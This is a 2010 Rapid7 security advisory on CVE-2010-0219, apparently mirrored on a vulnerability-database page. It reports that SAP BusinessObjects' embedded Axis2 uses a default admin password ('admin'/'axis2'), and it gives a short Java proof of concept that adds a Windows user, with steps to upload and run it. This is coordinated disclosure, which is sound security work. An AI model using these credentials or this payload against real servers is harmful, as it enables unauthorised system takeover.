Lucene search
+L

Rapid7 Security Advisory 37

🗓️ 15 Oct 2010 00:00:00Reported by H D MooreType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 52 Views

SAP BusinessObjects Axis2 Default Admin Password vulnerability, allows remote code executio

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Apache Axis2 Default Credentials
27 May 201000:00
nessus
circl
Circl
CVE-2010-0219
14 Dec 201000:00
circl
checkpoint_advisories
Check Point Advisories
CA ARCserve D2D Axis2 Default Credentials Remote Code Execution (CVE-2010-0219)
8 Feb 201100:00
checkpoint_advisories
cve
CVE
CVE-2010-0219
18 Oct 201016:00
cve
cvelist
Cvelist
CVE-2010-0219
18 Oct 201016:00
cvelist
exploitdb
Exploit DB
CA ARCserve D2D r15 - Web Service Servlet Code Execution
30 Dec 201000:00
exploitdb
exploitdb
Exploit DB
Axis2 - (Authenticated) Code Execution (via REST) (Metasploit)
14 Dec 201000:00
exploitdb
exploitdb
Exploit DB
Axis2 / SAP BusinessObjects - (Authenticated) Code Execution (via SOAP) (Metasploit)
14 Dec 201000:00
exploitdb
kitploit
Kitploit
CVE-2010-0219
29 Aug 202617:28
kitploit
metasploit
Metasploit
Apache Axis2 Brute Force Utility
28 May 201419:31
metasploit
Rows per page
`R7-0037: SAP BusinessObjects Axis2 Default Admin Password  
October 13th, 2010  
  
Description:  
  
The SAP BusinessObjects product contains a module (dswsbobje.war) which  
deploys Axis2 with an administrator account which is configured with a  
static password. As a result, anyone with access to the Axis2 port can  
gain full access to the machine via arbitrary remote code execution.  
This requires the attacker to upload a malicious web service and to  
restart the instance of Tomcat. This issue may apply to other products  
and vendors that embed the Axis2 component. The username is "admin" and  
the password is "axis2", this is also the default for standalone Axis2  
installations.  
  
Impact:  
  
An attacker can execute arbitrary code by creating a malicious web  
service (jar). The attacker can log in to the Axis2 component with the  
default admin account, upload the malicious web service, and upon  
restart the malicious code will be executed.  
  
Proof of Concept Code:  
  
Create a webservice (jar) which contains malicious code. Login to Axis2  
and upload the web service. Restart Tomcat and the malicious code will  
execute once Axis2 is loaded.  
  
package org.apache.axis2.axis2userguide; import java.io.IOException;  
public class AddUser {  
public AddUser() {  
Process process;  
try {  
process = Runtime.getRuntime().exec("net user foo bar /add");  
}  
catch(IOException ioexception) {  
ioexception.printStackTrace();  
}  
}  
public void main() {  
return;  
}  
}  
  
CVE: CVE-2010-0219  
  
Vendor Response:  
  
A fix has been provided on the SAP customer support site: SAP Security  
Note 1432881. Please note that this site requires authentication.  
  
References:  
  
http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf  
http://www.kb.cert.org/vuls/id/989719  
  
Disclosure Timeline:  
  
2010-08-12 - Vulnerability reported to the vendor via email  
2010-08-12 - Vendor confirmed the vulnerability  
2010-09-02 - Vulnerability reported to CERT  
2010-10-13 - Coordinated public release of advisory  
  
Credit:  
  
This vulnerability was reported by Joshua Abraham and Will Vandevanter.  
  
About Rapid7 Security:  
  
Rapid7 provides vulnerability management, compliance and penetration  
testing solutions for Web application, network and database security. In  
addition to developing the NeXpose Vulnerability Management system,  
Rapid7 manages the Metasploit Project and is the primary sponsor of the  
W3AF web assessment tool.  
  
Our vulnerability disclosure policy is available online at:  
  
http://www.rapid7.com/disclosure.jsp  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation